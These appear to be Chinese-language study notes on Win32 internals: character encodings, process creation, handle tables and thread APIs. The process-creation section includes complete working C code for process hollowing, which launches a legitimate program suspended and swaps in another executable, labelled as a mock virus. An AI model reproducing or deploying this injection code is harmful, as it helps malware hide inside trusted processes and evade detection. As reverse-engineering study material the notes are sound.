字符编码

1. ASCII编码

0 - 7F, 0000 0000——–0111 1111标准ASCII码
80 - FF 1000 0000 ——-1111 1111 扩展ASCII码

2.GB2312或GB2312-80(针对自己国家)基于扩展ASCII码

单独看每一个字节,都是扩展ASCII码表中的数据,2个表示一个汉字,这就是GB2312编码,
但是GB2312存在很大的弊端,例:
将一份GB2312编码的邮件发给一个老外的时候,它看到的是乱码,因为不同国家的解释不一样,Big5编码的思路跟GB2312一样,同样的字节,不同的数据,因为解释的不一样
怎么解决问题这个乱码问题呢?UNICODE出现

3. UNICODE

这是一个编码方案,说白了就是一张包含全世界所有文字的一个编码表,只要这个世界上存在的文字符号,统统给你一个唯一的编码:
UNICODE编码范围是: 0 - 0X10FFFF, 可以容纳100多万个符号!

UNICODE 的问题?

假如说:

  1. 中: 0x12 34
  2. 国:0x01 23 45
  3. A: 0x41

用多少个字节来存储呢?UNICODE只是一个符号集,它只规定了符号的二进制代码,却没有规定这个二进制代码应该如何存储

4. 如何存储UNICODE

UTF-16\UTF-8是UNICODE的实现方式

UTF-16

UTF-16编码以16位无符号整数为单位,注意是16位为一个单位,不表示一个字符就只有16位。这个要看字符的UNICODE编码处于什么范围而定,有可能是2个字节,也有可能是4个字节,现在机器上的UNCODE 编码一般指的就是UTF-16

因为它任何符号都是以2个字节为单位,对于A,B,C这种简单的符号,一个字节就够了,所以用UTF-16可能会浪费空间,在网络传输中效率可能会慢,

UTF-8

比如在记事本中写入 “AB字”,然后分别存储为UTF-16 或 UTF-8的格式

“字” UTF-16 是 5B 57
​ UTF-8 是 E5 AD 97
E5 AD 97
1110 0101 10****10 1101 10****01 0111
红色部分拼接为0101 1011 0101 0111,即5B 57

那么给定一个文本,怎么知道是解析为UTF-16还是UTF-8呢?

BOM (Byte Order Mark)(解决解析时候的问题)

UTF-8 || EF BB BF
UTF-16(LE) || FF FE
UTF-16(BE) || FE FF
这是前缀


进程的创建过程

进程提供程序所需的资源,如:数据,代码等等。进程是静止不动的

进程内存空间的地址划分

一个进程里面含有一堆PE文件

进程是怎么创建的

任何进程都是别的进程创建的:CreateProcess

  1. 映射EXE文件

  2. 创建内核对象EPROCESS

  3. 映射DLL文件(ntdll.dll) 所有EXE都得用到这个DLL文件

  4. 创建线程内核对象ETHREAD

  5. 系统启动线程

    ​ 映射DLL(ntdll.LdrInitializeThunk)

    ​ 线程开始执行

可以在第4步与第5步之间做一些猥琐的事情,怎么在第4步与第5步之间搞事情呢???

可以在CreateProcess这个函数的第6个参数__in DWORD dwCreationFlags,,将其设置为CREATE_SUSPENDED,然后线程就会被挂起,然后在这个地方进行PE映像切换(傀儡进程),这个在《逆向工程核心原理》第56章有讲,因为这里是讲进程的创建过程,所以对PE影响切换不再描述

这里是这种技术的实验代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#include <windows.h>
#include <stdio.h>

typedef DWORD(WINAPI* _TZwUnmapViewOfSection)(HANDLE, PVOID);
BOOL PeLoad(HANDLE hProcess, BYTE* peFile, BYTE* peRam, int size);
CHAR* LoadFile(CHAR* filePath);
DWORD FileBufferToImageBuffer(LPVOID pFileBuffer, LPVOID pImageBuffer);

int main()
{
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = {};
CHAR szName[] = "E:\\TrayS v1.1.3\\TrayS_x86\\TrayS.exe";
si.cb = sizeof(si);
//创建傀儡进程
BOOL res = CreateProcess(
szName,
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);

if (res == 0) {
printf("错误CODE: %d\n", GetLastError());
}
//获取外壳的CONTEXT结构
CONTEXT contex;
contex.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &contex);
printf("子进程PID: %d\n", pi.dwProcessId);
printf("%#X\n", contex.Eax); //OEP + IMAGEBASE
BYTE* baseAddress = (BYTE*)(contex.Ebx + 8);
DWORD dwImageBase = 0;
ReadProcessMemory(pi.hProcess, baseAddress, &dwImageBase, 4, NULL);

//卸载外壳程序的文件镜像
HMODULE hModuleNt = LoadLibrary("ntdll.dll");
if (hModuleNt == NULL)
{
//printf("获取ntdll句柄失败\n");
TerminateThread(pi.hThread, 0);
return -1;
}
_TZwUnmapViewOfSection pZwUnmapViewOfSection = (_TZwUnmapViewOfSection)GetProcAddress(hModuleNt, "ZwUnmapViewOfSection");


pZwUnmapViewOfSection(pi.hProcess, (PVOID)dwImageBase);

CHAR szFileName[] = "F:\\_重学RE笔记\\WIN32_PE学习\\傀儡进程\\傀儡进程\\假装自己是病毒.exe";
CHAR * PEFILE = LoadFile(szFileName);

IMAGE_DOS_HEADER* pidhsrc = (IMAGE_DOS_HEADER*)PEFILE;
IMAGE_NT_HEADERS* pinhsrc = (IMAGE_NT_HEADERS*)(pidhsrc->e_lfanew + PEFILE);
LPVOID pImageBase = VirtualAllocEx(pi.hProcess, (LPVOID)pinhsrc->OptionalHeader.ImageBase, pinhsrc->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


if ((DWORD)pImageBase != pinhsrc->OptionalHeader.ImageBase)
{
//printf("VirtualAllocEx 错误码: 0x%X\n", GetLastError()); // 0x1e7 试图访问无效地址
//printf("申请到的指针: 0x%X, 期望的地址: 0x%X\n", (DWORD)pImageBase, pinhsrc->OptionalHeader.ImageBase);
TerminateThread(pi.hThread, 0);
return -1;
}

//7、拉伸PE文件,放到此位置
PeLoad(pi.hProcess, (BYTE *)PEFILE, (BYTE*)pImageBase, pinhsrc->OptionalHeader.SizeOfImage);

//8、修改外壳程序的Context
contex.Eax = pinhsrc->OptionalHeader.AddressOfEntryPoint + pinhsrc->OptionalHeader.ImageBase;
DWORD imageBase = pinhsrc->OptionalHeader.ImageBase;
WriteProcessMemory(pi.hProcess, LPVOID(contex.Ebx + 8), &imageBase, 4, NULL);
SetThreadContext(pi.hThread, &contex);
ResumeThread(pi.hThread);
//释放资源区
free(PEFILE);
return 0;

return 0;
}

//模拟PE加载
//hProcess:进程句柄
//peFile:PE拉伸前的地址(在本进程中)
//peRam:ImageBase(在hProcess进程中)
//size:PE拉伸后对齐的大小
BOOL PeLoad(HANDLE hProcess, BYTE* peFile, BYTE* peRam, int size)
{
BYTE* peImage = (BYTE*)malloc(size);
FileBufferToImageBuffer(peFile, peImage);
BOOL isSuccess = WriteProcessMemory(hProcess, peRam, peImage, size, NULL);
free(peImage);
return isSuccess;
}
//将文件读取到内存

CHAR* LoadFile(CHAR* filePath)
{
FILE* fpShellFile;
fopen_s(&fpShellFile, filePath, "rb");
if (fpShellFile == 0)
{
printf("加载病毒失败\n");
ExitProcess(-1);
}
fseek(fpShellFile, 0, SEEK_END);
DWORD dwShellFileSize = ftell(fpShellFile);
CHAR* pShellFile = (CHAR*)malloc(dwShellFileSize);
fseek(fpShellFile, 0, SEEK_SET);
fread(pShellFile, 1, dwShellFileSize, fpShellFile);
fclose(fpShellFile);
return pShellFile;
}

// 将PE文件拉伸
// pFileBuffer:源文件读到内存去的首地址
// pImageBuffer: 拉伸后文件读到内存去的首地址
// 返回拉伸后的文件在内存中对齐后的大小
DWORD FileBufferToImageBuffer(LPVOID pFileBuffer, LPVOID pImageBuffer)
{
IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pFileBuffer;
IMAGE_NT_HEADERS* pNtHeader = (IMAGE_NT_HEADERS*)(pDosHeader->e_lfanew + (DWORD)pDosHeader);
IMAGE_FILE_HEADER* pPEHeader = (IMAGE_FILE_HEADER*)((DWORD)pNtHeader + 4);
IMAGE_OPTIONAL_HEADER32* pOptionHeader = (IMAGE_OPTIONAL_HEADER32*)((DWORD)pPEHeader + sizeof(IMAGE_FILE_HEADER));
IMAGE_SECTION_HEADER* pSectionHeader = (IMAGE_SECTION_HEADER*)((DWORD)pOptionHeader + pPEHeader->SizeOfOptionalHeader);

memset(pImageBuffer, 0, pNtHeader->OptionalHeader.SizeOfImage);
//复制DOS头 + PE头 + 节表 + 文件对齐
memcpy(pImageBuffer, pFileBuffer, pNtHeader->OptionalHeader.SizeOfHeaders);
for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++)
{
memcpy((LPVOID)((DWORD)pImageBuffer + pSectionHeader[i].VirtualAddress), (LPVOID)((DWORD)pFileBuffer + pSectionHeader[i].PointerToRawData), pSectionHeader[i].SizeOfRawData);
}
return pNtHeader->OptionalHeader.SizeOfImage;
}

句柄表

1、什么是内核对象?

像进程、线程、文件、互斥体、事件等在内核都有一个对应的结构体,这些结构体由内核负责故案例。我们管这样的对象叫做内核对象。

2、 如何管理内核对象

通过句柄表

3、每个进程都有一个句柄表

不是每个内核对象都有句柄表,只有进程内核对象才有句柄表。

4、多进程共享一个内核对象

句柄表是一个私有的值,句柄只有在本进程中才有意义

CloseHandle使内核对象的引用计数 - 1,一般情况下引用计数为0了,没有任何指针指向它,这个内核对象就会被移除,但是进程内核对象和线程内核对象是特例,只有关闭所有的线程句柄和终止掉线程两个条件同时满足的时候,这个线程内核对象才会被移除。

5、 句柄是否可以被继承

在创建一个内核对象的时候,一定会有一个参数

1
2
3
4
5
typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength;
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle; //该内核对象是否可以被继承
} SECURITY_ATTRIBUTES,

6、进程是否能够继承父进程的句柄

当用CreateProcess创建进程的时候,第5个参数bInheritHandles如果设置为TRUE,那么父进程句柄表中可以被继承的内核对象句柄就会被继承过去,具体继承方式如上图所示,就是将整个句-柄表复制过去,不能继承的填充0,这样的话,在子进程中的句柄值可以与父进程一模一样

进程相关API

PID是全局句柄表的索引,所以它在 所有进程中都有效

当前进程的 进程句柄 是当前进程句柄表的索引,所以它只在本进程有效

工作路径与模块路径

当前模块路径是不变的,文件放在哪,他就是啥

但是工作路径的话就不同了,工作路径是父进程通过CreateProcess这个API传给他的,通过参数 __in_opt LPCTSTR lpCurrentDirectory将工作目录传给子进程。

如下例:

其他API

获取进程PID: GetCurrentProcessId
获取进程句柄: GetCurrentProcess
获取命令行: GetCommandLine
获取启动信息: GetStartupInfo
遍历进程ID: EnumProcesses
快照: CreateToolhelp32Snapshot


线程

1、什么是线程

​ CreateThread 创建线程

  1. 线程是附属在进程上的执行实体,是代码的执行流程

  2. 一个进程可以包含多个线程,但一个进程至少要包含一个线程

2、控制线程

  1. 暂停线程恢复线程

    SuspendThread()

    ResumeThread() //可以根据这个函数的返回值来判断线程是否挂起

  2. 等待线程结束

    WaitForSingleObject()

    WaitForMultipleObject()

    GetExitCodeThread()

  3. 获取线程环境(线程切换的时候要保存环境)

    GetThreadContext()

    SetThreadContext()